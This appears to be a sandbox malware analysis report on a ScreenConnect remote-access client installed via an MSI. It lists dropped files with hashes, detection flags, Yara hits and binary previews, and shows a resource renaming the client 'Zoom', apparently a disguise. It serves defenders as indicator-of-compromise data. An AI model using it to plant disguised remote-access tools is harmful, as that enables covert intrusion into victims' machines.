Preview:	...@IXOS.@.....@Px.Y.@.....@.....@.....@.....@.....@......&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}'.ScreenConnect Client (9e47e837d725d609)..ScreenConnect.ClientSetup.msi.@.....@.....@.....@......DefaultIcon..&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (9e47e837d725d609)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{D4E4D97C-5DFC-6B86-08C0-057CF642FAAD}&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.@......&.{525B1545-9FB4-F323-BE42-402142A539C8}&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.@......&.{0BDDDE1C-6CC8-E6D9-5127-2C6FEC7F2C8A}&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.@......&.{DFA0BDFF-CDD8-D431-A30D-E951823F33FD}&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.@......&.{4724ABD5-B9FB-380C-4C39-20DC7D6DC2E5}&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.@......&.{1A1ABC3B-01D7-1711-0A31-421B8C032A85}&.{0F0F3A06-836F-1282-FBD2

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.Override.en-US.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.74095985350311
Encrypted:	false
SSDEEP:	6:8kVXdyrKDLIP12MUAvvR+oHO8fTG6cAtuRTAlrRF4l1vs:rHy2DLI4MWoHO8L9cAgRMZRCl10
MD5:	BE47F8896D7004EB212C1D9F709CD36B
SHA1:	E8894EE61E001C8FCFA48B16A543CD02BB4880F5
SHA-256:	B05BAD4078C6BA41A11D57B947F4E2312B7A791BE4C022172A16C7E4C73B3D0A
SHA-512:	18AAEDCC3CE040E110DB11665DAEE42500B3B245C15D219C385B9033F28286BD36E2FA08BA2F77A2F47833F72421586F27981296D6421610AB265B982F1CC2AF
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP@To...n_%.......&... A.p.p.l.i.c.a.t.i.o.n.T.i.t.l.e.....8U.n.d.e.r.C.o.n.t.r.o.l.B.a.n.n.e.r.T.e.x.t.F.o.r.m.a.t.......Zoom..

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.Override.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	8856
Entropy (8bit):	5.844638564710404
Encrypted:	false
SSDEEP:	96:rZRmrIMQy/n65T3U37XKYpmb7WRmrIMQy/n65T3U37XKYpmb7N:rZSIMXqzgDKYvSIMXqzgDKYI
MD5:	CD82973FB78F328C241E6C201EBD751E
SHA1:	221426958BAAAD3352E44F915D99BB6A0DBA3F67
SHA-256:	54532131449C1582F5741683090F0D3F91CA056429126023332F190A538E32C1
SHA-512:	860FFE19788AC839B92A7C567C848AAAEF8886D30DEA73AC8CDCC8301D8915A5239ECFE9E303E1774E18F69D52CAA4F45E7096976D471BFA4C816EBBAFB0F335
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADPs`.k.`.k....'......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2..... .......... .... .........(... ...@..... ..........:...:...........................................@...D.<.F.\|.E...F...F...H...I...I...J...J...K...K...L.\|.M.<.@...........................................................@...D.{.F...F...G...G...H...H...I...J...J...K...K...L...L...M...N...N...O.z.F...............................................E.J.E...F...G...G...H...H...I...I...J...K...K...L...L...M...M...N...O...O...P...P...Q.H.....................................E.o.F...F...G...H...H...I...I...J...J...K...L...L...M...M...N...N...O...P...P...Q...Q...R...R...............................E.v.F...G...G...H...I...I...J...J...K...K...L...M...M...N...N...O...O...P...Q...Q...R...R...S...S...T.t.....................G.K.G...G.

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.en-US.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	50133
Entropy (8bit):	4.759054454534641
Encrypted:	false
SSDEEP:	1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5:	D524E8E6FD04B097F0401B2B668DB303
SHA1:	9486F89CE4968E03F6DCD082AA2E4C05AEF46FCC
SHA-256:	07D04E6D5376FFC8D81AFE8132E0AA6529CCCC5EE789BEA53D56C1A2DA062BE4
SHA-512:	E5BC6B876AFFEB252B198FEB8D213359ED3247E32C1F4BFC2C5419085CF74FE7571A51CAD4EAAAB8A44F1421F7CA87AF97C9B054BDB83F5A28FA9A880D4EFDE5
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C\|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..v.......B....A...a......D..c..w..K,..t...S.....v....7.6\|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........\|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	26722
Entropy (8bit):	7.7401940386372345
Encrypted:	false
SSDEEP:	384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5:	5CD580B22DA0C33EC6730B10A6C74932
SHA1:	0B6BDED7936178D80841B289769C6FF0C8EEAD2D
SHA-256:	DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
SHA-512:	C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.586775768189165
Encrypted:	false
SSDEEP:	3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
MD5:	3724F06F3422F4E42B41E23ACB39B152
SHA1:	1220987627782D3C3397D4ABF01AC3777999E01C
SHA-256:	EA0A545F40FF491D02172228C1A39AE68344C4340A6094486A47BE746952E64F
SHA-512:	509D9A32179A700AD76471B4CD094B8EB6D5D4AE7AD15B20FD76C482ED6D68F44693FC36BCB3999DA9346AE9E43375CD8FE02B61EDEABE4E78C4E2E44BF71D42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: Support.ClientSetup.exe, Detection: malicious, Browse Filename: f53WqfzzNt.exe, Detection: malicious, Browse Filename: tiG6Ep202n.exe, Detection: malicious, Browse Filename: 6IqUjK9Koj.exe, Detection: malicious, Browse Filename: f53WqfzzNt.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ... ....... .......................`......#.....@.................................A...O.... ..\|....................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...\|.... ......................@..@.reloc.......@......................@..B................u.......H...........4............_...... .........................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.06942231395039
Encrypted:	false
SSDEEP:	1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
MD5:	5DB908C12D6E768081BCED0E165E36F8
SHA1:	F2D3160F15CFD0989091249A61132A369E44DEA4
SHA-256:	FD5818DCDF5FC76316B8F7F96630EC66BB1CB5B5A8127CF300E5842F2C74FFCA
SHA-512:	8400486CADB7C07C08338D8876BC14083B6F7DE8A8237F4FE866F4659139ACC0B587EB89289D281106E5BAF70187B3B5E86502A2E340113258F03994D959328D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: Support.ClientSetup.exe, Detection: malicious, Browse Filename: f53WqfzzNt.exe, Detection: malicious, Browse Filename: tiG6Ep202n.exe, Detection: malicious, Browse Filename: 6IqUjK9Koj.exe, Detection: malicious, Browse Filename: f53WqfzzNt.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...nu............" ..0.............. ... ...@....... ..............................p.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95512
Entropy (8bit):	6.504684691533346
Encrypted:	false
SSDEEP:	1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
MD5:	75B21D04C69128A7230A0998086B61AA
SHA1:	244BD68A722CFE41D1F515F5E40C3742BE2B3D1D
SHA-256:	F1B5C000794F046259121C63ED37F9EFF0CFE1258588ECA6FD85E16D3922767E
SHA-512:	8D51B2CD5F21C211EB8FEA4B69DC9F91DFFA7BB004D9780C701DE35EAC616E02CA30EF3882D73412F7EAB1211C5AA908338F3FA10FDF05B110F62B8ECD9D24C2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.................................>)....@.................................p...x....`..P............L...)...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...P....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.034211651049746
Encrypted:	false
SSDEEP:	12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5:	14E7489FFEBBB5A2EA500F796D881AD9
SHA1:	0323EE0E1FAA4AA0E33FB6C6147290AA71637EBD
SHA-256:	A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
SHA-512:	2110113240B7D803D8271139E0A2439DBC86AE8719ECD8B132BBDA2520F22DC3F169598C8E966AC9C0A40E617219CB8FE8AAC674904F6A1AE92D4AC1E20627CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............." ..0..X...........s... ........... ..............................].....@.................................as..O.......t............................r..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...t............Z..............@..@.reloc...............^..............@..B.................s......H........C..,/..................Dr........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639085961200334
Encrypted:	false
SSDEEP:	24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5:	9AD3964BA3AD24C42C567E47F88C82B2
SHA1:	6B4B581FC4E3ECB91B24EC601DAA0594106BCC5D
SHA-256:	84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
SHA-512:	CE557A89C0FE6DE59046116C1E262A36BBC3D561A91E44DCDA022BEF72CB75742C8B01BEDCC5B9B999E07D8DE1F94C665DD85D277E981B27B6BFEBEAF9E58097
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y............." ..0..>..........~]... ...`....... ..............................8.....@.................................+]..O....`..\|............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc...\|....`.......@..............@..@.reloc...............D..............@..B................_]......H.......t...d..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsAuthenticationPackage.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	260168
Entropy (8bit):	6.416438906122177
Encrypted:	false
SSDEEP:	3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
MD5:	5ADCB5AE1A1690BE69FD22BDF3C2DB60
SHA1:	09A802B06A4387B0F13BF2CDA84F53CA5BDC3785
SHA-256:	A5B8F0070201E4F26260AF6A25941EA38BD7042AEFD48CD68B9ACF951FA99EE5
SHA-512:	812BE742F26D0C42FDDE20AB4A02F1B47389F8D1ACAA6A5BB3409BA27C64BE444AC06D4129981B48FA02D4C06B526CB5006219541B0786F8F37CF2A183A18A73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A........................T....................V.......V.......V......................=U......=U......=U$.....=U......Rich....................PE..d.....Qf.........." ...'.^...^.......................................................(....`..........................................e.......f..P................ ......HP..........P%..p............................$..@............p...............................text...t].......^.................. ..`.rdata.......p.......b..............@..@.data....+...........d..............@....pdata... ......."...x..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61208
Entropy (8bit):	6.310126082367387
Encrypted:	false
SSDEEP:	1536:kW/+lo6MOc8IoiKWjrNv8DtyQ4RE+TC6WAhVbb57bP8:kLlo6dccldyQGWy5s
MD5:	AFA97CAF20F3608799E670E9D6253247
SHA1:	7E410FDE0CA1350AA68EF478E48274888688F8EE
SHA-256:	E25F32BA3FA32FD0DDD99EB65B26835E30829B5E4B58573690AA717E093A5D8F
SHA-512:	FE0B378651783EF4ADD3851E12291C82EDCCDE1DBD1FA0B76D7A2C2DCD181E013B9361BBDAE4DAE946C0D45FB4BF6F75DC027F217326893C906E47041E3039B0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c+..........."...0.................. ........@.. ....................... .......r....@.....................................O....... ................)..............8............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	602392
Entropy (8bit):	6.176232491934078
Encrypted:	false
SSDEEP:	6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
MD5:	1778204A8C3BC2B8E5E4194EDBAF7135
SHA1:	0203B65E92D2D1200DD695FE4C334955BEFBDDD3
SHA-256:	600CF10E27311E60D32722654EF184C031A77B5AE1F8ABAE8891732710AFEE31
SHA-512:	A902080FF8EE0D9AEFFA0B86E7980457A4E3705789529C82679766580DF0DC17535D858FBE50731E00549932F6D49011868DEE4181C6716C36379AD194B0ED69
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.................. ... ....@.. .......................`............@.................................M...O.... ...................)...@..........8............................................ ............... ..H............text...p.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......XJ......................$.........................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsCredentialProvider.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	842248
Entropy (8bit):	6.268561504485627
Encrypted:	false
SSDEEP:	12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
MD5:	BE74AB7A848A2450A06DE33D3026F59E
SHA1:	21568DCB44DF019F9FAF049D6676A829323C601E
SHA-256:	7A80E8F654B9DDB15DDA59AC404D83DBAF4F6EAFAFA7ECBEFC55506279DE553D
SHA-512:	2643D649A642220CEEE121038FE24EA0B86305ED8232A7E5440DFFC78270E2BDA578A619A76C5BB5A5A6FE3D9093E29817C5DF6C5DD7A8FBC2832F87AA21F0CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}....}H..}H..}H.d~I..}H.dxIG.}H.dyI..}H..xI..}H..yI..}H..~I..}H..\|H8.}H..}H..}H2.}I..}H2..I..}HRich..}H........PE..d.....Gf.........." ...'.P...........H....................................... ......q.....`......................................... ...t....................P...y.......(......,4.....T.......................(.......@............`...............................text....O.......P.................. ..`.rdata...z...`...\|...T..............@..@.data....d.......0..................@....pdata...y...P...z..................@..@_RDATA...............z..............@..@.reloc..,4.......6...\|..............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81688
Entropy (8bit):	5.8618809599146005
Encrypted:	false
SSDEEP:	1536:Ety9l44Kzb1I5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7j27Vy:PvqukLdn2s
MD5:	1AEE526DC110E24D1399AFFCCD452AB3
SHA1:	04DB0E8772933BC57364615D0D104DC2550BD064
SHA-256:	EBD04A4540D6E76776BD58DEEA627345D0F8FBA2C04CC65BE5E979A8A67A62A1
SHA-512:	482A8EE35D53BE907BE39DBD6C46D1F45656046BACA95630D1F07AC90A66F0E61D41F940FB166677AC4D5A48CF66C28E76D89912AED3D673A80737732E863851
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....o..........."...0..@...........^... ...`....@.. .......................`.......$....@..................................^..O....`...................)...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\app.config

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	4.729300549900036
Encrypted:	false
